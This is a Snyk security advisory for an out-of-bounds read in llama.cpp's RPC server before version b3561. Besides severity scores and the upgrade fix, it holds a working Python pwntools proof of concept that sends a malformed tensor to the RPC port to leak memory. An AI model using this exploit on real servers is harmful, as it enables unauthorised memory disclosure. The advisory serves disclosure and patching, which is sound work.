Out-of-bounds Read Affecting ggerganov/llama.cpp package, versions [,b3561)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (19th percentile)

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  • Snyk ID SNYK-UNMANAGED-GGERGANOVLLAMACPP-7676289
  • published 13 Aug 2024
  • disclosed 12 Aug 2024
  • credit 7resp4ss

How to fix?

Upgrade ggerganov/llama.cpp to version b3561 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the rpc_tensor structure. An attacker can cause memory data leakage by exploiting the unsafe type member.

PoC

from pwn import *

ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10

context(arch='amd64',log_level = 'debug')

p = remote("127.0.0.1",50052)
pd = b''
rpc_tensor_pd = flat(
    {
        0: [
            0x1,  # id
            p32(0x100),  # type
            p64(0xdeadbeef),  # buffer
            [  # ne
                p32(0xdeadbeef),
                p32(0xdeadbeef),
                p32(0xdeadbeef),
                p32(0xdeadbeef),
            ],
            [  # nb
                p32(1),
                p32(1),
                p32(1),
                p32(1),
            ],
            p32(0),  # op
            [p32(0)] * 16,  # op_params (corrected from 8 to 16)
            p32(0),  # flags
            [p64(0)] * 10,  # src
            p64(0),  # view_src
            p64(0),  # view_offs
            p64(0xdeadbeef),  # data
            'a' * 64,  # name
            'x' * 4  # padding
        ],
    }
)
cmd = p8(GET_TENSOR)
content = flat(
    {
        0: rpc_tensor_pd + p64(0) + p64(0x100)
    }
)
input_size = p64(len(content))
pd+= cmd + input_size + content

p.send(pd)
p.recvall(timeout=1)

p.close()

References

CVSS Scores

version 4.0
version 3.1
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Snyk

Recommended
6.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    None
  • Availability (VA)
    None
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None